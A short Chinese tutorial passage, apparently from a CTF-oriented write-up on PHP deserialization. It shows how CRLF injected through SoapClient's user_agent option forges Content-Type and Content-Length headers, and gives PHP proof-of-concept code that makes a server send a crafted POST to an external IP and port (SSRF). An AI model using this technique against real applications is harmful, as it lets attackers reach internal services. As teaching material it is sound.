在header里User-Agent在Content-Type前面,手册中也提到了如何设置User-Agent,我们可以在User-Agent中注入crlf,从而控制Content-Type的值
1 2 3 4 5 6 7 8 9 10 <?php $post_data  = "data=abc" ;$a  = new  SoapClient (null ,array ('user_agent' =>'Mozilla/5.0^^Content-Type: application/x-www-form-urlencoded^^Content-Length: ' .strlen ($post_data ).'^^^^' .$post_data ,'uri' =>'aaa' ,'location' =>'http://20.2.129.79:7777' ));$b  = serialize ($a );$b  = str_replace ('^^' ,"\r\n" ,$b );$c  = unserialize ($b );$c ->a ();?> 
 
还需要在结尾设置一个Content-Length,一方面对于post包是必须的,另一方面还能让多余的数据丢弃,不影响我们设定的值
这样就能实现soapclient+crlf组合拳攻击ssrf了
 
参考文章:由浅入深理解PHP反序列化漏洞 [CTF]PHP反序列化总结 PHP-反序列化(超细的)